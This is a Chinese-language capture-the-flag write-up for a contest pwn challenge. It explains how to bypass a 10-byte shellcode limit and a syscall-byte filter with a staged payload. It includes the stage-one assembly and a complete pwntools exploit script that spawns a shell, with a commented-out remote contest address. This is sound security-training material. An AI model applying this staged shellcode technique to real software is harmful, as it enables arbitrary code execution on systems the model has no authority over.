shellcode - 有长度限制的 shellcode 解法

shellcode

shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。

程序分析

题目来源:第七届浙江省大学生网络与信息安全竞赛预赛

image-20241103161301251

checksec

保护全开

逆向分析

IDA伪代码

程序的功能很直接,执行输入的一段 shellcode,但是有 0xa 的长度限制。

并且存在 memmem 函数,检查输入的内容,使用 IDA 继续查看 unk_203D 的内容,发现是出题人禁止了 syscall 的机器码。

syscall('0f')

动态调试

在程序执行 shellcode 之后,观察寄存器和栈的情况。当时比赛时发现 r8 中存有 syscall 指令的地址,我的一个想法是控制寄存器 rax, rdi, rsi, rdx 执行系统调用 read

mov rsi,rax
xor rax,rax
xor rdi,rdi
add rdx,0x50
call r8

不过这样的长度已经超出 0xa 的限制了。后面我又想了很久,想继续利用 r8 跳转到某个 main 函数上的指令,调试发现从 r8 到一个 main 函数的地址需要减去三位十六进制数,也就是说操作数占据了 shellcode 中 0x4 的长度了。哎,结果我就这样忽视了 rsp 上的 <main+0132>,一直到比赛结束。

攻击流程

这里的思路是白夜学长提供的。

调整传参寄存器,控制程序流程

ELF 中的 read 函数参数如下

栈中的数据如下

由于程序中使用call rax执行shellcode,返回地址存在栈顶

第一段 shellcode

pop rdx; 返回地址出栈
pop rdi; fd
pop rsi; 将不需要的数据出栈
pop rsi; *buf <- shellcode address
sud rdx,0x41; 减去偏移,结果为 <main+00f1>
call rdx

将程序跳转到 main 函数的 call _read 前:

执行 shellcode

没有了读入限制后,直接使用 pwntool 生成的 shellcode 即可。

Exploit

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process("./shellcode1")
#p = remote("139.155.126.78", "38681")
shellcode = """
pop rdx;
pop rdi;
pop rsi;
pop rsi;
sub rdx, 0x41;
call rdx;
"""
gdb.attach(p)
p.sendafter(b"input", asm(shellcode))
shellcode = """
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
""" #10个nop,因为下次执行的地址是在shellcode1的结尾(call rdx)
shellcode += shellcraft.sh()
p.send(asm(shellcode))
p.interactive()

小结

这回的省赛属于是坐了四小时大牢了。每道题目或者是在现实实践中,自然是与之前遇到的情况会有不同。因此对程序动态运行中的各种状态应该敏锐一些,例如栈、寄存器,可能会有发现。